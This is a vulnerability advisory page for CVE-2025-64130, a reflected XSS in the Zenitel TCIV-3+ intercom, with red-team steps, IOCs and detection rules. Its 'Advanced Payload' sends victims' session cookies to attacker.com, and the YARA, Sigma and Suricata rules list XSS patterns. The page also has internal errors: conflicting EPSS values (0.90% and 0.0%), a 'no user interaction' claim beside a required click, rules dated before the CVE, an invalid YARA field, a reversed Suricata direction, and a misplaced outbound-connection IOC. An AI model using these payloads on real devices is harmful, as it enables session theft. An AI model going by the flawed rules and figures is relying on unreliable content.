☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-64130

CVE-2025-64130 Cross-Site Scripting in Zenitel
📅 PUBLISHED: 2025-11-26 17:55 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.90%
👁️
0.90% probability
22.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64130 is a critical reflected cross-site scripting (XSS) vulnerability affecting the Zenitel TCIV-3+ device. With a CVSS score of 9.8, this vulnerability allows a remote, unauthenticated attacker to execute arbitrary JavaScript in the context of a victim's browser session. The attack vector is network-based, requires no privileges, and does not require user interaction beyond the victim clicking a crafted link. Successful exploitation could lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vendor has not released a patch, and no public proof-of-concept (PoC) or exploit code is available at this time. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild currently, but the severity demands immediate attention.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – Victim does not need to perform any action beyond clicking a link.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full access to browser data.
  • Integrity (I): High (H) – Attacker can modify page content.
  • Availability (A): High (H) – Attacker can disrupt the user's session.

Threat Level: Critical. The combination of remote exploitability, no required privileges, and high impact makes this a top-priority vulnerability for any organization using the Zenitel TCIV-3+.

Deep Dive & Mechanics

The Zenitel TCIV-3+ is an intercom and communication device. The vulnerability is a reflected cross-site scripting (XSS) flaw. This occurs when user-supplied input is reflected back to the user's browser without proper sanitization or encoding. In this case, a crafted URL containing malicious JavaScript is sent to the TCIV-3+ web interface. The device's web server then reflects this input back in the HTTP response, causing the victim's browser to execute the injected script.

The attack flow is as follows:

  1. An attacker crafts a malicious URL containing JavaScript payload (e.g., <script>alert('XSS')</script>).
  2. The attacker lures a victim (e.g., an administrator) to click the link.
  3. The victim's browser sends a request to the TCIV-3+ device.
  4. The device's web server processes the request and reflects the malicious input in the response without sanitization.
  5. The victim's browser executes the injected JavaScript in the context of the TCIV-3+ web interface.
  6. The attacker can then steal session cookies, perform actions on behalf of the victim, deface the page, or redirect to a phishing site.

The vulnerability is likely located in a parameter that is directly echoed back in the HTML response, such as a search query, error message, or a redirect parameter.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is typical of reflected XSS:

Vulnerable Code (Conceptual PHP/ASP):

<?php
$search = $_GET['q'];
echo "You searched for: " . $search;
?>

Patched Code (Conceptual):

<?php
$search = $_GET['q'];
echo "You searched for: " . htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
?>

The patched version uses htmlspecialchars() to encode special HTML characters (like <, >, ", ', &) into their HTML entities, preventing the browser from interpreting them as code.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Demonstrate the vulnerability by executing a JavaScript alert.

Prerequisites:

  • A Zenitel TCIV-3+ device (physical or emulated).
  • A victim browser (e.g., Firefox, Chrome).
  • A web server to host a payload (optional, for advanced attacks).

Step 1: Identify the vulnerable parameter. Use a web proxy (e.g., Burp Suite) to intercept requests to the TCIV-3+ web interface. Look for parameters that are reflected in the response. Common candidates include q, search, error, msg, redirect, url, page, id, name.

Step 2: Craft the exploit URL. Once a vulnerable parameter is found, craft a URL like:

http://<TCIV-3+_IP>/path/to/page?<vulnerable_parameter>=<script>alert('XSS')</script>

Step 3: Deliver the exploit. Send the crafted URL to the victim via email, social engineering, or by embedding it in a webpage.

Step 4: Observe the result. If successful, the victim's browser will display an alert box with the text "XSS".

Advanced Payload (Cookie Theft):

http://<TCIV-3+_IP>/path/to/page?<vulnerable_parameter>=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

This payload redirects the victim to an attacker-controlled server, sending the session cookie in the URL.

Blue Team (Defensive)

Objective: Detect and prevent exploitation of CVE-2025-64130.

Detection:

  • Monitor web server logs for requests containing <script>, onerror=, onload=, javascript:, or other XSS patterns in URL parameters.
  • Use a Web Application Firewall (WAF) with rules to block reflected XSS attempts.
  • Deploy network-based detection using Suricata or Snort rules (see Detection Engineering).

Prevention:

  • Immediate: If possible, restrict access to the TCIV-3+ web interface to trusted IP addresses only (e.g., via firewall rules).
  • Short-term: Implement a reverse proxy (e.g., Nginx, Apache) in front of the device to sanitize input and output.
  • Long-term: Apply a vendor patch when available. If no patch is forthcoming, consider replacing the device with a patched alternative.

Hunting:

  • Search for anomalous HTTP requests to the TCIV-3+ device, especially those with unusual characters in parameters.
  • Correlate web server logs with user activity to identify potential phishing campaigns targeting administrators.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to the TCIV-3+ device containing <script>, onerror, onload, javascript: in URL parameters.
    • Outbound connections from the TCIV-3+ device to unknown external IP addresses (if cookie theft payload is used).
    • Unusual Referer headers pointing to malicious sites.
  • Host IOCs (on the victim's browser):
    • Unexpected JavaScript alerts or pop-ups.
    • Unauthorized redirects to unfamiliar websites.
    • Presence of unexpected cookies or modified session tokens.
  • File IOCs:
    • No specific file-based IOCs are known for this vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_64130_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Zenitel TCIV-3+"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64130"
        severity = "critical"
    strings:
        $xss_pattern_1 = /<script[^>]*>.*<\/script>/i
        $xss_pattern_2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss_pattern_3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss_pattern_4 = /javascript\s*:\s*/i
        $xss_pattern_5 = /alert\s*\(/i
        $xss_pattern_6 = /document\.cookie/i
    condition:
        any of ($xss_pattern_*) and
        (http.server contains "Zenitel" or http.server contains "TCIV-3+")
}

Sigma Rule

title: Reflected XSS Attempt Against Zenitel TCIV-3+
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing common XSS payloads targeting Zenitel TCIV-3+ devices.
author: Valters IT
date: 2025-04-10
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2025.64130
logsource:
    category: webserver
    product: apache
    definition: 'Requirements: Web server logs from a reverse proxy or the TCIV-3+ device itself.'
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in web applications (unlikely for TCIV-3+).
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64130 - Reflected XSS Attempt Against Zenitel TCIV-3+";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/"; http_uri;
    pcre:"/(<script|onerror=|onload=|javascript:|alert\(|document\.cookie)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    priority:1;
    reference:cve,2025-64130;
)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Device: If the TCIV-3+ is not required to be accessible from the internet, place it behind a firewall and restrict access to trusted internal IP addresses only.
  2. Implement a WAF: Deploy a Web Application Firewall (e.g., ModSecurity, Cloudflare) in front of the device with rules to block reflected XSS attacks.
  3. Monitor Logs: Actively monitor web server logs for the IOCs listed above.

Short-Term Actions:

  1. Apply Input Validation: If you have control over the network infrastructure, implement a reverse proxy that sanitizes all input parameters before forwarding requests to the TCIV-3+.
  2. User Awareness: Train administrators and users who access the TCIV-3+ web interface to be cautious of unsolicited links.

Long-Term Actions:

  1. Vendor Patch: Contact Zenitel support for a firmware update. If no patch is released, consider this device end-of-life and plan for replacement.
  2. Device Replacement: Evaluate alternative intercom solutions that are actively maintained and patched.
  3. Network Segmentation: Ensure that all IoT/OT devices like the TCIV-3+ are on a separate VLAN with strict access controls.

Valters IT – Securing your digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64130/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.